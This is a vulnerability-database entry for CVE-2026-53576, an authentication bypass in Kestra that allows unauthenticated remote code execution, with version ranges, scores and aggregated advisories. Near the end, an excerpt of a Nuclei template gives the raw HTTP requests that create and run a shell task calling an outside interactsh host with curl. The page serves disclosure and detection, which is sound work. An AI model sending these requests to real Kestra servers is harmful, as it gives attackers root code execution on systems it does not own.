CVE-2026-53576
published 2026-06-26CVE-2026-53576: Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, the authentication filter for the REST API (@Filter("/api/v1/**"))…
PriorityP187critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
2.19%
80.8th percentile
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, the authentication filter for the REST API (@Filter("/api/v1/**")) treats any request whose path ends in /configs as the public instance-config endpoint and forwards it without a credential check. kestra addresses its resources by URL path segments that the caller chooses (/api/v1/{tenant}/flows/{namespace}, /api/v1/{tenant}/executions/{namespace}/{id}, /api/v1/{tenant}/namespaces/{namespace}/kv/{key}). An anonymous caller picks the literal configs as the final segment, and the request bypasses Basic-Auth entirely. Because the bypass reaches the flow-create and execution-trigger routes, an unauthenticated caller creates a flow containing a Shell or Process task and runs it. The task executes as root inside the kestra container. The official docker-compose.yml mounts /var/run/docker.sock, so root in the container reaches the host Docker daemon. This vulnerability is fixed in 1.0.45 and 1.3.21.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| kestra-io | kestra | < 1.0.45 | 1.0.45 |
| kestra-io | kestra | — | — |
| kestra | kestra | < 1.0.45 | 1.0.45 |
| kestra | kestra | >= 1.1.0 < 1.3.21 | 1.3.21 |
CVSS provenance
nvdv3.110.0CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vulncheck10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulDB
kestra-io kestra up to 1.0.44/1.3.20 /api/v1 code injection (GHSA-2q47-568g-9h4f / EUVD-2026-39919)
vuldb·2026-06-27·CVSS 10.0
CVE-2026-53576 [CRITICAL] kestra-io kestra up to 1.0.44/1.3.20 /api/v1 code injection (GHSA-2q47-568g-9h4f / EUVD-2026-39919)
A vulnerability classified as critical was found in kestra-io kestra up to 1.0.44/1.3.20. Affected by this issue is some unknown functionality of the file /api/v1. The manipulation results in code injection.
This vulnerability is known as CVE-2026-53576. It is possible to launch the attack remotely. No exploit is available.
Upgrading the affected component is advised.
VulnCheck
kestra kestra Improper Control of Generation of Code ('Code Injection')
vulncheck·2026·CVSS 10.0
CVE-2026-53576 [CRITICAL] kestra kestra Improper Control of Generation of Code ('Code Injection')
kestra kestra Improper Control of Generation of Code ('Code Injection')
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, the authentication filter for the REST API (@Filter("/api/v1/**")) treats any request whose path ends in /configs as the public instance-config endpoint and forwards it without a credential check. kestra addresses its resources by URL path segments that the caller chooses (/api/v1/{tenant}/flows/{namespace}, /api/v1/{tenant}/executions/{namespace}/{id}, /api/v1/{tenant}/namespaces/{namespace}/kv/{key}). An anonymous caller picks the literal configs as the final segment, and the request bypasses Basic-Auth entirely. Because the bypass reaches the flow-create and execution-trigger routes, an unauthenticated caller creates a flow c
No detection rules found.
Nuclei
Kestra <= 1.3.20 - Remote Code Execution
nuclei·CVSS 10.0
CVE-2026-53576 [CRITICAL] Kestra <= 1.3.20 - Remote Code Execution
Kestra Kestra")'
condition: and
internal: true
- raw:
- |
POST /api/v1/main/flows/configs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-yaml
id: configs
namespace: configs
tasks:
- id: pwn
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
commands:
- curl -m 5 -s http://{{interactsh-url}}/rce
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 409'
- 'contains(body, "configs")'
condition: and
internal: true
- raw:
- |
POST /api/v1/main/executions/configs/configs HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----KestraBoundary
------KestraBoundary--
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "http", "dns")'
- 'status_code == 200 || status_code == 409'
condition: a
No writeups or analysis indexed.
2026-06-26
Published
Exploited in the wild